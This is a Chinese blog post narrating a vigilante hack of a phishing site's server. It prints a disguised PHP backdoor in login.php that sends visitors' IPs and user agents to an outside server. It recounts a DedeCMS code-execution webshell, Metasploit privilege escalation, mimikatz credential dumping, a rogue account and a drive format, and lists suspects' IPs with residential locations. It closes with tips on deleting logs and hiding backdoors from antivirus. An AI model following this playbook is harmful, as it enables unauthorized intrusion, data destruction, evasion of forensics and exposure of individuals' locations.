來自:信安之路(微訊號:xazlsec)
本文作者:drivertom
原文地址:http://drivertom.blogspot.com/2019/03/blog-post_16.html
本文所寫的內容基本真實,但有些滲透溯源的過程為了描述的精簡被修改刪除。一些無關緊要的事情也被略去,但對滲透至關重要的大思路和小細節我都沒放過。同時在滲透的時候我沒有留下截圖,很多圖是我後來補上的。
0x01 引子
事情要從一週前說起。
深夜,寢室,我照例空虛寂寞百無聊賴地刷群。
突然看到 D小姐姐 在群裡面說她用了 N 執行緒給釣魚網站交了大量垃圾資訊,最後卡爆了伺服器,頗為得意。
當晚我正好閑著沒事,就決定小小地得罪一下這個釣魚網站,故事就這樣開始了
0x02 入侵
首先是基礎的資訊蒐集,但是當我查詢 whois 和微步線上之後卻沒有任何結果,顯示的是這些註冊資訊被保護了,毫無結果。最後只知道同一臺伺服器上執行 了很多相同的釣魚站。
好在 D小姐姐 的垃圾資料並沒有給伺服器造成太大影響,很快伺服器就恢復了並顯示如下介面
現在的釣魚網站的製作者都很良心,介面弄得跟官方的非常相似,可不像當年那些隨便畫個框框就等著要密碼的,畢竟時代在進步嘛。但這也不是完美的,密碼那裡弄成小寫 qq 的了。
翻看釣魚網址 :
http://timea.icu/Ru_op/newwap.html
的原始碼,我們可以看到作者用了 document.write(unescape('
來掩飾網頁原始碼,應該是用來防止被基於關鍵字攔截的防詐騙軟體攔截?
而且網頁裡面還取用了個有趣的 JS
window.onload=function() {
var date_time='2019-4-2 18:00:59';
var time=Date.parse(newDate());
var date1=Date.parse(newDate(date_time.replace(/-/g, '/')));
if(date1<time) {
top.location.href='/expire.html';
};
$('#expire-time').html(date_time);
};
大概就是一段時間後這個網站就 “expire” 掉了,而 expire.html 長這個樣子。
這應該說明這個網站不是釣魚者自己做的而是花錢買來的。現在不愧是社會主義市場經濟啊,這些搞黑產的已經弄成一個產業鏈了,有的人負責做網站有的人負責騙,分工明確各司其職高效工作呢。
接著在檢查沒有 WAF 後就在登入處攔截 POST 包,扔到 sqlmap 裡面註入
果真毫無意外地失敗了。這年頭,連釣魚站都這麼安全了。
我再用 Burp 掃了下路徑,發現了幾個有趣的路徑。
這是我剛剛補的圖,本來這些路徑裡面還有 phpmyadmin 的但是在後來管理員換了路徑所以現在沒了。我先嘗試了 phpmyadmin 的弱密碼,但是失敗了,轉去看別的路徑
最有趣的是在 /membe
r路徑中
沒想到這一個簡簡單單的釣魚站需要用到一個 DedeCMS
?
我就順手下了個 DedeCMS
的原始碼看看,發現後臺路徑 /dede
,點進去居然有,而且直接用 admin/admin
就登入了!
後臺別有洞天,面板比 Dede 官方的不知道好看到哪裡去。如果 Dede 官方有人看到這個心裡一定會很慚愧吧。後臺還可以看到各種釣魚資料,由於暫時它的後臺出了些毛病我就不截圖了。
不過不管這麼說這隻是套了層皮而已,核心還是 DedeCMS,我就在 SecWIKI 的 CMS Hunter 搜了個 DedeCMS 後臺提權漏洞 《DedeCMS V5.7 SP2後臺存在程式碼執行漏洞》:
https://github.com/SecWiki/CMS-Hunter/tree/master/DedeCMS/DedeCMS%20V5.7%20SP2%E5%90%8E%E5%8F%B0%E5%AD%98%E5%9C%A8%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E
,就成功 getshell 了
0x02 第一次不正經溯源
是時候把釣魚者的IP弄出來了!
想想釣魚者會怎麼訪問?當然是訪問後臺了!於是我在後臺的 login.php
加上瞭如下程式碼來記錄 IP
//檢測安裝目錄完整性
function Check($url)
{
$ch=curl_init();
curl_setopt( $ch, CURLOPT_URL, $url);
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt( $ch, CURLOPT_CUSTOMREQUEST, 'GET');
curl_setopt( $ch, CURLOPT_TIMEOUT, 60);
$result=curl_exec( $ch);
curl_close( $ch);
return $result;
}
$url="http://...:/message.php?info=Another%20";
$info=urlencode((string)$_SERVER['REMOTE_ADDR'].(string)$_SERVER['HTTP_USER_AGENT']);
Check($url.$info);
其中這個接收的伺服器是拿S神的伺服器乾的,他為了檢測菜刀流量的行為專門搭建了個伺服器供我們去日。
這樣我在伺服器上面訪問/就可以看到 IP 了
可惜似乎我高興得太早,一天下去發現登過這個後臺的人遍佈全國各地,估計是全國各地都有正義駭客想要乾這個網站吧,但這樣攻擊者的 IP 就被藏起來了
看來我需要提權,進入伺服器,拿到更多東西!
0x03 提權
在提權之前我還幹了個事情,就是儲存整站原始碼以查詢關鍵資訊免得一會萬一動靜太大或者搞崩伺服器導致驚動管理員許可權丟失我好歹能留點紀念品。
進入 webshell 發現命令執行的函式都被禁止了,首先要解決命令執行的問題。許多人認為命令執行函式被禁止就高枕無憂 了,但接下來的事情證明這是錯的。
禁止命令執行函式無非就是在 php.ini 裡面設定 disable_functions,當我的 shell 能夠修改這個 php.ini 的時候,這個所謂的防護就變得沒有意義了。
執行 whoami 命令發現許可權只有 iis apppoolwww
。這個許可權低的難以忍受,我得想辦法提權。我祭出了提權後滲透大殺器 Metasploit
上傳用 msf 生成的木馬,自己的伺服器再配置好監聽,webshell 執行,成功獲取 meterpreter 會話!之後一記 Ms16-075 漏洞拿到 system 許可權!
0x04 第二次正經的溯源
在拿到伺服器許可權後,我用 mimikatz 拿到了管理員明文密碼
但是保險起見我還是先新建一個使用者(就是上圖的 360safe),免得到時候登上去把管理員擠下去的尷尬狀況
然後用一個命令把遠端桌面的埠查出來
C:Windowssystem32>regquery"hklmSYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp"/v"PortNumber"
regquery"hklmSYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp"/v"PortNumber"
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminalServerWinStationsRDP-Tcp
PortNumber REG_DWORD 0x58d4
最後成功登入遠端桌面!
登入遠端桌面後我發現電腦上幾乎沒裝什麼軟體,除了個寶塔外就沒有別的了
我先蒐集了 Windows 日誌,在日誌中我發現了一些的東西
首先呢,非常不幸,我在最開始用 msf 提權的時候清理了日誌,這是我的大失誤,導致 3 月 10 日之前的日誌都沒了。但是不幸中的萬幸是,殘存的日誌足矣幫助我們找到攻擊者的一些資訊。
這個攻擊者的電腦名字叫做“阿洲”,聽起來像是港臺片裡面的黑社會,IP 地址
拿到了兩個,一個是 119.85.162.18
(中國重慶重慶合川區龍湖美岸(住宅小區)(可信度:99))
還有一個是 119.85.166.235
(中國 重慶 重慶 合川區)成功定位!
伺服器上還裝有寶塔,由於我並不知道寶塔的密碼,就直接修改了裡面的 php 檔案,把密碼判定那裡修改了下邏輯,這樣只要我的使用者名稱是 360safe 就能(是的,我有一次借刀 360)登入。
在登陸後我看到後臺日誌,有看到了一個 IP:119.85.164.184
(中國重慶重慶合川區美綠居·翡翠名苑(住宅小區)(可信度:99))應該是同一個人
同時後臺還告訴我C盤有個 HTTP 日誌記錄,我迅速下下來,有一次發現了重慶的 IP 地址訪問了 /install
頁面。
還看到了他用的瀏覽器是 Windows8.1 用的是 Chrome 瀏覽器,這個儘管與我之前頁面釣到的 UA 不一樣,但由於都是 win8.1 這樣較為少見的系統,故判定為同一個人
另一方面我還發現了另一個廣東的 IP: 117.136.39.239
(基站IP)疑似同夥,他使用 2345 瀏覽器和 windows7 系統,第一次訪問這個系統就直接訪問 /dede
,並且經常在後臺傳送 POST 包。
除了這些資訊之外我就獲取不了別的資訊了。
0x05 使用了 0day 的不完全溯源
後來某一天課上完的時候,我問了老師業界大牛Dr,大牛告訴我可以挖下訊邊緣業務的 JSONP 漏洞來洩漏攻擊者的 QQ。
在嘗試了好幾個小時之後,我只挖到了訊的某個能夠洩漏使用者名稱的 JSONP 和度能夠洩漏部分使用者名稱的 JSONP 漏洞,我很快將這個漏洞寫成利用指令碼,在除錯後部署上去得到廣東同夥的 QQ 名字“龍騰九天”和“怪獸”
0x06 格盤跑路
由於我實在沒有更多時間和他們耗,再耗下去我就要掛科了,決定直接破壞造成精神打擊!
關你的服務!
格你的D 盤!
改你的桌面!
(美中不足的是微博二字打錯了)
(附註:髒話僅用於玩梗,並不代表作者本人平時的素質,我的朋友們都可以作證)
沒有截圖的是我清理日誌的部分,這一部分我是做了的只是沒有截圖,希望各位在做相同事情的時候註意個人保護
0x07 總結
一些需要註意的滲透細節:
1、在滲透的時候如果能修改 php.ini 就可以突破 PHP 禁止執行高危函式造成的命令不可執行。搞 IPS 的時候可以禁止 PHP 修改敏感檔案來進行初步防護
2、掃目錄挺有用的
3、不管是哪種取證,系統日誌都是很重要的突破口。同時防取證得刪掉日誌
4、Windows Server 密碼複雜度有要求,滲透時賬戶建立失敗可能是密碼不夠複雜
不足之處:
1、文中內容是精簡過的。整個戰線託的太長。要積累經驗
2、留後門留得太明顯,應該留到網站原有的檔案裡去,最好是分佈在多個檔案來免殺
3、得積累 JSONP 漏洞,不要像我這樣現挖。我都在考慮寫一個掃描 JSONP 漏洞的外掛了
4、得積累一些針對國內軟體(如寶塔)的資訊蒐集工